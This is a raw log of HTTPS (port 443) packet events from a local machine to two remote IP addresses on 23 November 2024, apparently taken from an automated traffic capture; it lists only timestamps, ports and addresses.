Nov 23, 2024 17:44:58.656688929 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.656713009 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.830104113 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.830127001 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.830168962 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.830194950 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.830209970 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.830284119 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.850666046 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.850683928 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.850722075 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.850729942 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.850739956 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.850784063 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.871522903 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.871543884 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.871592999 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.871599913 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.871627092 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.871639013 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.889635086 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.889652967 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.889714003 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.889724970 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.889766932 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.891844988 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.891892910 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.892116070 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.892390013 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.892409086 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.932898045 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.932917118 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.933007956 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.933212996 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.933259964 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.933980942 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934005022 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934016943 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.934072971 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934417963 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934432983 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.934711933 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934721947 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.934741974 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934887886 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.934907913 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.934984922 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.935002089 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.935095072 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.935112000 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.935745955 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.935754061 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:44:58.935815096 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.935926914 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:44:58.935936928 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.410114050 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.410595894 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.410624981 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.411092997 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.411098957 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.526086092 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.526494026 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.526524067 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.527158022 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.527164936 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.794419050 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.795207024 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.795222044 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.795438051 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.795557976 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.795563936 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.795800924 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.795818090 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.796143055 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.796150923 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.799448013 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.799740076 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.799755096 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.800061941 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.800066948 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.960397959 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.960429907 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.960609913 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.960640907 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.960697889 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.960817099 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.960824966 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.960840940 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.960989952 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.961024046 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.963309050 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.963727951 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.963764906 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.963918924 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.964015007 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.964020014 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.970663071 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.973166943 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.973227978 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.973251104 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.973273039 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.973290920 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.973298073 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.975528955 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.975558996 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:01.975630045 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.975749016 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:01.975759983 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.245471954 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.245488882 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.245604992 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.245620012 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.245764971 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.245879889 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.245884895 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.245906115 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.246027946 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.246056080 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.246089935 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.246104956 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.246134996 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.248610020 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248635054 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.248667955 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248704910 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248718977 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.248728037 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248733044 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248739958 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.248914957 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.248943090 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250372887 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250432014 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250515938 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.250533104 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250811100 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250879049 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.250896931 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.250910044 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.250919104 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.250924110 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.251291990 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.251308918 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.251375914 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.251632929 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.251641035 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.253046036 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.253057957 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:02.253135920 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.253254890 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:02.253267050 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.755126953 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.755609035 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.755621910 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.756091118 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.756094933 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.823394060 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.823904991 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.823937893 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.824369907 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.824376106 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.983072996 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.983779907 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.983791113 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:03.984249115 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:03.984252930 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.190543890 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.191091061 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.191106081 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.191560984 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.191567898 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.210875034 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.210949898 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.211158037 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.211182117 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.211195946 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.211205959 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.211211920 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.214063883 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.214129925 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.214217901 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.214402914 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.214433908 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.219574928 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.219911098 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.219924927 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.220307112 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.220312119 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.271562099 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.271632910 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.271744967 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.294507027 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.294540882 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.294553995 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.294564009 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.297014952 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.297034979 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.297106028 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.297293901 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.297303915 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.439179897 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.439249039 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.439387083 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.439809084 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.439817905 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.439846992 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.439851046 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.442437887 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.442523956 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.443348885 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.443460941 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.443481922 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.797485113 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.797559977 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.797764063 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.798002958 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.798027992 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.798041105 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.798048973 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.801001072 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.801038980 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.801124096 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.801306009 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.801322937 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.810590029 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.810758114 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.810863018 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.810898066 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.810904026 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.810915947 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.810920954 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.813163996 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.813198090 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:04.813266039 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.813381910 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:04.813393116 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:05.001483917 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:05.001527071 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:05.001596928 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:05.002055883 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:05.002074003 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:06.081866980 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.082381010 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.082451105 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.082937956 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.082957029 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.135481119 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.136069059 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.136082888 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.136641026 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.136647940 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.253412962 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.253947973 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.254010916 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.254466057 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.254479885 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.519989967 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.520077944 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.520174980 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.520394087 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.520412922 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.520426989 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.520435095 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.523025036 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.523060083 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.523166895 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.523302078 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.523318052 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.549069881 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.551670074 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.551681995 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.552232981 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.552237988 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.580760002 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.580940962 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.583328009 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.583398104 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.583414078 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.583426952 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.583434105 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.585916042 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.586004972 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.586108923 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.586251020 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.586287022 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.593616962 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.595907927 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.595933914 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.596364021 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.596369028 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.699635983 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.699687004 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.699897051 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.699995041 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.699995995 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.700035095 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.700061083 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.702578068 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.702610970 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.702698946 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.702847004 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:06.702862024 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:06.782802105 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:06.782953978 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:06.784925938 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:06.784956932 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:06.785351992 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:06.795707941 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:06.843333006 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:07.061309099 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.061364889 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.061408043 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.061661959 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.061676979 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.061691046 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.061697006 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.065766096 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.065840006 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.065927029 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.066248894 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.066277027 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.097790956 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.097879887 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.097925901 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.098217964 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.098241091 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.098253012 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.098258972 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.101618052 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.101655960 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.101802111 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.102035999 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:07.102052927 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:07.505538940 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:07.505601883 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:07.505646944 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:07.505680084 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:07.505698919 CET	443	49774	4.175.87.197	192.168.2.4
Nov 23, 2024 17:45:07.505733967 CET	49774	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:45:07.505763054 CET	49774	443	192.168.2.4	4.175.87.197
